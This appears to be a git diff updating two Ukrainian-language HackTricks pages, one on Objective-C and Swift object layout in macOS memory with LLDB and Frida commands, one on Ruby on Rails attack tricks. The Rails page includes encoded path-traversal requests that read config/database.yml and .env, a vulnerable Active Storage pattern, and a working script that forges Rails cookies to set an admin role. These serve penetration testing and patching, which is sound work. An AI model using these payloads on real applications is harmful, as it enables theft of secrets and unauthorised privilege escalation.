diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index df8adbe45..f9baa01e2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -4,9 +4,9 @@ ## CFRuntimeClass -CF\* об'єкти походять з CoreFoundation, який надає більше 50 класів об'єктів, таких як `CFString`, `CFNumber` або `CFAllocator`. +CF*-об'єкти походять із CoreFoundation, який містить понад 50 класів об'єктів, таких як `CFString`, `CFNumber` або `CFAllocator`. -Усі ці класи є екземплярами класу `CFRuntimeClass`, який при виклику повертає індекс до `__CFRuntimeClassTable`. CFRuntimeClass визначено в [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): +Усі ці класи є екземплярами класу `CFRuntimeClass`, який при виклику повертає індекс у таблицю `__CFRuntimeClassTable`. CFRuntimeClass визначено в [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html): ```objectivec // Some comments were added to the original code @@ -55,40 +55,51 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi ``` ## Objective-C -### Використовувані секції пам'яті +### Memory sections used -Більшість даних, що використовуються середовищем виконання ObjectiveC, змінюватимуться під час виконання, тому воно використовує деякі секції з сегмента **\_\_DATA** в пам'яті: +Більшість даних, які використовує Objective‑C runtime, змінюються під час виконання, тому в пам'яті використовуються кілька секцій з сімейства сегментів Mach‑O `__DATA`. Історично це включало: -- **`__objc_msgrefs`** (`message_ref_t`): Посилання на повідомлення -- **`__objc_ivar`** (`ivar`): Змінні екземпляра -- **`__objc_data`** (`...`): Змінні дані -- **`__objc_classrefs`** (`Class`): Посилання на класи -- **`__objc_superrefs`** (`Class`): Посилання на суперкласи -- **`__objc_protorefs`** (`protocol_t *`): Посилання на протоколи -- **`__objc_selrefs`** (`SEL`): Посилання на селектори -- **`__objc_const`** (`...`): Дані класу `r/o` та інші (надіємось) постійні дані -- **`__objc_imageinfo`** (`version, flags`): Використовується під час завантаження зображення: Версія наразі `0`; Прапори вказують на підтримку попередньо оптимізованого GC тощо. -- **`__objc_protolist`** (`protocol_t *`): Список протоколів -- **`__objc_nlcatlist`** (`category_t`): Вказівник на не-ліниві категорії, визначені в цьому бінарному файлі -- **`__objc_catlist`** (`category_t`): Вказівник на категорії, визначені в цьому бінарному файлі -- **`__objc_nlclslist`** (`classref_t`): Вказівник на не-ліниві класи Objective-C, визначені в цьому бінарному файлі -- **`__objc_classlist`** (`classref_t`): Вказівники на всі класи Objective-C, визначені в цьому бінарному файлі +- `__objc_msgrefs` (`message_ref_t`): посилання на повідомлення +- `__objc_ivar` (`ivar`): поля екземпляра +- `__objc_data` (`...`): змінні дані +- `__objc_classrefs` (`Class`): посилання на класи +- `__objc_superrefs` (`Class`): посилання на суперкласи +- `__objc_protorefs` (`protocol_t *`): посилання на протоколи +- `__objc_selrefs` (`SEL`): посилання на селектори +- `__objc_const` (`...`): r/o дані класів та інші (сподіваємося) константні дані +- `__objc_imageinfo` (`version, flags`): використовується під час завантаження образу: версія наразі `0`; прапорці вказують підтримку попередньої оптимізації GC тощо +- `__objc_protolist` (`protocol_t *`): список протоколів +- `__objc_nlcatlist` (`category_t`): вказівник на Non-Lazy Categories, визначені в цьому бінарнику +- `__objc_catlist` (`category_t`): вказівник на Categories, визначені в цьому бінарнику +- `__objc_nlclslist` (`classref_t`): вказівник на Non-Lazy Objective‑C класи, визначені в цьому бінарнику +- `__objc_classlist` (`classref_t`): вказівники на всі Objective‑C класи, визначені в цьому бінарнику -Воно також використовує кілька секцій у сегменті **`__TEXT`** для зберігання постійних значень, якщо запис у цій секції неможливий: +Воно також використовує кілька секцій у сегменті `__TEXT` для зберігання констант: -- **`__objc_methname`** (C-String): Імена методів -- **`__objc_classname`** (C-String): Імена класів -- **`__objc_methtype`** (C-String): Типи методів +- `__objc_methname` (C‑String): імена методів +- `__objc_classname` (C‑String): імена класів +- `__objc_methtype` (C‑String): типи методів -### Кодування типів +Сучасні macOS/iOS (особливо на Apple Silicon) також розміщують Objective‑C/Swift метадані в: -Objective-C використовує деяке манглювання для кодування селекторів і типів змінних простих і складних типів: +- `__DATA_CONST`: незмінні Objective‑C метадані, які можуть бути розділені read‑only між процесами (наприклад, багато списків `__objc_*` тепер знаходяться тут). +- `__AUTH` / `__AUTH_CONST`: сегменти, що містять вказівники, які повинні бути автентифіковані при завантаженні або під час використання на arm64e (Pointer Authentication). Ви також побачите `__auth_got` в `__AUTH_CONST` замість старих `__la_symbol_ptr`/`__got` тільки. При instrumenting або hooking пам'ятайте враховувати як `__got`, так і `__auth_got` записи в сучасних бінарниках. -- Примітивні типи використовують першу літеру типу `i` для `int`, `c` для `char`, `l` для `long`... і використовують велику літеру, якщо це беззнаковий тип (`L` для `unsigned Long`). -- Інші типи даних, літери яких використовуються або є спеціальними, використовують інші літери або символи, такі як `q` для `long long`, `b` для `bitfields`, `B` для `booleans`, `#` для `classes`, `@` для `id`, `*` для `char pointers`, `^` для загальних `pointers` і `?` для `undefined`. -- Масиви, структури та об'єднання використовують `[`, `{` і `(` +Для довідки про dyld pre‑optimization (наприклад, selector uniquing та попередні обчислення класів/протоколів) і чому багато з цих секцій вже "виправлені" при походженні з shared cache, перегляньте Apple `objc-opt` джерела та примітки dyld shared cache. Це впливає на те, де і як ви можете патчити метадані під час виконання. -#### Приклад оголошення методу +{{#ref}} +../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +{{#endref}} + +### Type Encoding + +Objective‑C використовує манглінг для кодування типів селекторів та змінних для простих і складних типів: + +- Примітивні типи використовують першу літеру типу: `i` для `int`, `c` для `char`, `l` для `long`... і використовують велику літеру у випадку беззнакового типу (наприклад `L` для `unsigned long`). +- Інші типи даних використовують інші літери або символи, наприклад `q` для `long long`, `b` для bitfields, `B` для булевих, `#` для класів, `@` для `id`, `*` для `char *`, `^` для загальних вказівників і `?` для невизначеного. +- Масиви, структури та союзи використовують `[`, `{` та `(` відповідно. + +#### Example Method Declaration ```objectivec - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error; ``` @@ -99,24 +110,24 @@ Objective-C використовує деяке манглювання для к - `id` кодується як `@` - `char *` кодується як `*` -Повне кодування типу для методу: +Повне кодування типів для методу: ```less @24@0:8@16*20^@24 ``` -#### Детальний аналіз +#### Детальний розбір -1. **Тип повернення (`NSString *`)**: Закодовано як `@` з довжиною 24 -2. **`self` (екземпляр об'єкта)**: Закодовано як `@`, на зсуві 0 -3. **`_cmd` (селектор)**: Закодовано як `:`, на зсуві 8 -4. **Перший аргумент (`char * input`)**: Закодовано як `*`, на зсуві 16 -5. **Другий аргумент (`NSDictionary * options`)**: Закодовано як `@`, на зсуві 20 -6. **Третій аргумент (`NSError ** error`)**: Закодовано як `^@`, на зсуві 24 +1. Тип повернення (`NSString *`): Кодується як `@` з довжиною 24 +2. `self` (екземпляр об'єкта): Кодується як `@`, зі зсувом 0 +3. `_cmd` (селектор): Кодується як `:`, зі зсувом 8 +4. Перший аргумент (`char * input`): Кодується як `*`, зі зсувом 16 +5. Другий аргумент (`NSDictionary * options`): Кодується як `@`, зі зсувом 20 +6. Третій аргумент (`NSError ** error`): Кодується як `^@`, зі зсувом 24 -**З селектором + кодуванням ви можете відтворити метод.** +За допомогою селектора + кодування можна відновити метод. -### **Класи** +### Класи -Класи в Objective-C - це структура з властивостями, вказівниками на методи... Можна знайти структуру `objc_class` у [**джерелі коду**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): +Класи в Objective‑C — це C structs з властивостями, вказівниками на методи тощо. Можна знайти struct `objc_class` у [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): ```objectivec struct objc_class : objc_object { // Class ISA; @@ -137,9 +148,114 @@ data()->setFlags(set); } [...] ``` -Цей клас використовує деякі біти поля isa, щоб вказати певну інформацію про клас. +Цей клас використовує деякі біти поля `isa`, щоб позначати інформацію про клас. -Потім структура має вказівник на структуру `class_ro_t`, що зберігається на диску, яка містить атрибути класу, такі як його ім'я, базові методи, властивості та змінні екземпляра.\ -Під час виконання програми використовується додаткова структура `class_rw_t`, що містить вказівники, які можуть бути змінені, такі як методи, протоколи, властивості... +Далі структура має вказівник на структуру `class_ro_t`, збережену на диску, яка містить атрибути класу, такі як його назва, базові методи, властивості та змінні екземпляру. Під час виконання використовується додаткова структура `class_rw_t`, що містить вказівники, які можна змінювати — наприклад, методи, протоколи, властивості. + +{{#ref}} +../macos-basic-objective-c.md +{{#endref}} + +--- + +## Сучасні представлення об’єктів в пам'яті (arm64e, tagged pointers, Swift) + +### Non‑pointer `isa` and Pointer Authentication (arm64e) + +На Apple Silicon і в сучасних рантаймах Objective‑C `isa` не завжди є звичайним вказівником на клас. На arm64e це фасетована структура, яка може також містити Pointer Authentication Code (PAC). Залежно від платформи вона може включати поля на кшталт `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` і сам вказівник на клас (зміщений або зі знаком). Це означає, що сліпе дереференсування перших 8 байтів Objective‑C об’єкта не завжди дасть дійсний вказівник `Class`. + +Практичні зауваги під час відладки на arm64e: + +- LLDB зазвичай видаляє біти PAC при друку Objective‑C об’єктів за допомогою `po`, але при роботі з сирими вказівниками може знадобитися вручну зняти аутентифікацію: + +```lldb +(lldb) expr -l objc++ -- #include +(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda); +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw) +``` + +- Багато вказівників на функції/дані в Mach‑O розташовані в `__AUTH`/`__AUTH_CONST` і вимагають аутентифікації перед використанням. Якщо ви робите interposing або re‑binding (наприклад, у стилі fishhook), переконайтесь, що ви також обробляєте `__auth_got` на додаток до застарілого `__got`. + +Для детального вивчення гарантій мови/ABI та `` intrinsics, доступних у Clang/LLVM, див. посилання в кінці цієї сторінки. + +### Tagged pointer objects + +Деякі класи Foundation уникають розміщення в купі шляхом кодування корисного навантаження об’єкта безпосередньо у значенні вказівника (tagged pointers). Виявлення відрізняється залежно від платформи (наприклад, найстарший біт на arm64, найменш значущий на x86_64 macOS). Tagged objects не мають звичайного `isa`, збереженого в пам'яті; runtime визначає клас за бітами тегу. Під час інспектування довільних значень `id`: + +- Використовуйте runtime API замість доступу до поля `isa`: `object_getClass(obj)` / `[obj class]`. +- У LLDB просто `po (id)0xADDR` правильно надрукує інстанси tagged pointer, оскільки runtime залучається для визначення класу. + +### Swift heap objects and metadata + +Чисті класи Swift також є об’єктами з заголовком, що вказує на Swift metadata (не Objective‑C `isa`). Для інспектування живих процесів Swift без їх модифікації можна використовувати інструментарій Swift — `swift-inspect`, який використовує бібліотеку Remote Mirror для читання runtime metadata: +```bash +# Xcode toolchain (or Swift.org toolchain) provides swift-inspect +swift-inspect dump-raw-metadata +swift-inspect dump-arrays +# On Darwin additionally: +swift-inspect dump-concurrency +``` +Це дуже корисно для відображення heap-об'єктів Swift та відповідностей протоколам під час реверсінгу змішаних Swift/ObjC додатків. + +--- + +## Шпаргалка з інспекції часу виконання (LLDB / Frida) + +### LLDB + +- Вивести об'єкт або клас за сирим вказівником: +```lldb +(lldb) expr -l objc++ -O -- (id)0x0000000101234560 +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560) +``` +- Переглянути клас Objective‑C за вказівником на `self` методу об'єкта в брейкпоінті: +```lldb +(lldb) br se -n '-[NSFileManager fileExistsAtPath:]' +(lldb) r +... breakpoint hit ... +(lldb) po (id)$x0 # self +(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0) +``` +- Dump секції, що несуть Objective‑C метадані (примітка: багато тепер у `__DATA_CONST` / `__AUTH_CONST`): +```lldb +(lldb) image dump section --section __DATA_CONST.__objc_classlist +(lldb) image dump section --section __DATA_CONST.__objc_selrefs +(lldb) image dump section --section __AUTH_CONST.__auth_got +``` +- Зчитайте пам'ять відомого об'єкта класу, щоб перейти до `class_ro_t` / `class_rw_t` під час реверсінгу списків методів: +```lldb +(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager +(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT +``` +### Frida (Objective‑C and Swift) + +Frida надає високорівневі runtime-бріджі, які дуже корисні для виявлення та інструментування живих об'єктів без символів: + +- Перераховувати класи та методи, визначати фактичні імена класів під час виконання (runtime) та перехоплювати Objective‑C selectors: +```js +if (ObjC.available) { +// List a class' methods +console.log(ObjC.classes.NSFileManager.$ownMethods); + +// Intercept and inspect arguments/return values +const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation; +Interceptor.attach(impl, { +onEnter(args) { +this.path = new ObjC.Object(args[2]).toString(); +}, +onLeave(retval) { +console.log('fileExistsAtPath:', this.path, '=>', retval); +} +}); +} +``` +- Swift bridge: перераховує типи Swift та взаємодіє з екземплярами Swift (потребує останньої версії Frida; дуже корисно на Apple Silicon цілях). + +--- + +## Посилання + +- Clang/LLVM: Pointer Authentication і `` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html +- Apple objc runtime заголовки (tagged pointers, non‑pointer `isa`, etc.) наприклад, `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index e8a378021..ea499b20b 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -1,9 +1,100 @@ -# Ruby Tricks +# Ruby трюки {{#include ../../banners/hacktricks-training.md}} -## Завантаження файлів для RCE +## Завантаження файлу для RCE -Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі каталоги, такі як `config/initializers/`, може призвести до віддаленого виконання коду (RCE) в додатках Ruby on Rails. +As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications. +Поради: +- Інші boot/eager-load локації, які виконуються при старті додатка, також небезпечні, якщо доступні на запис (наприклад, `config/initializers/` — класичний випадок). Якщо ви знайдете довільне завантаження файлу, яке потрапляє будь-куди під `config/` і пізніше буде evaluated/required, ви можете отримати RCE під час boot. +- Шукайте dev/staging builds, які копіюють user-controlled файли в образ контейнера, де Rails завантажить їх при boot. + +## Active Storage image transformation → command execution (CVE-2025-24293) + +When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. + +- A vulnerable pattern looks like: +```erb +<%= image_tag blob.variant(params[:t] => params[:v]) %> +``` +where `params[:t]` and/or `params[:v]` are attacker-controlled. + +- What to try during testing +- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. +- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. +- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. + +- Remediation/detections +- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. + +## Rack::Static LFI / path traversal (CVE-2025-27610) + +If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. + +- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: +```text +GET /assets/%2e%2e/%2e%2e/config/database.yml +GET /favicon.ico/..%2f..%2f.env +``` +Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. + +- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. + +## Forging/decrypting Rails cookies when `secret_key_base` is leaked + +Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. + +Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): +```ruby +require 'cgi' +require 'json' +require 'active_support' +require 'active_support/message_encryptor' +require 'active_support/key_generator' + +secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') +raw_cookie = CGI.unescape(ARGV[0]) + +salt = 'authenticated encrypted cookie' +cipher = 'aes-256-gcm' +key_len = ActiveSupport::MessageEncryptor.key_len(cipher) +secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) +enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) + +plain = enc.decrypt_and_verify(raw_cookie) +puts "Decrypted: #{plain.inspect}" + +# Modify and re-encrypt (example: escalate role) +plain['role'] = 'admin' if plain.is_a?(Hash) +forged = enc.encrypt_and_sign(plain) +puts "Forged cookie: #{CGI.escape(forged)}" +``` +Notes: +- Старі додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Відповідно налаштуйте солі, шифр і серіалізатор. +- У разі компрометації/оцінювання змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies. + +## Див. також (вразливості специфічні для Ruby/Rails) + +- Ruby deserialization та class pollution: +{{#ref}} +../../pentesting-web/deserialization/README.md +{{#endref}} +{{#ref}} +../../pentesting-web/deserialization/ruby-class-pollution.md +{{#endref}} +{{#ref}} +../../pentesting-web/deserialization/ruby-_json-pollution.md +{{#endref}} +- Template injection у Ruby engines (ERB/Haml/Slim тощо): +{{#ref}} +../../pentesting-web/ssti-server-side-template-injection/README.md +{{#endref}} + + + +## Посилання + +- Оголошення безпеки Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 +- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v {{#include ../../banners/hacktricks-training.md}}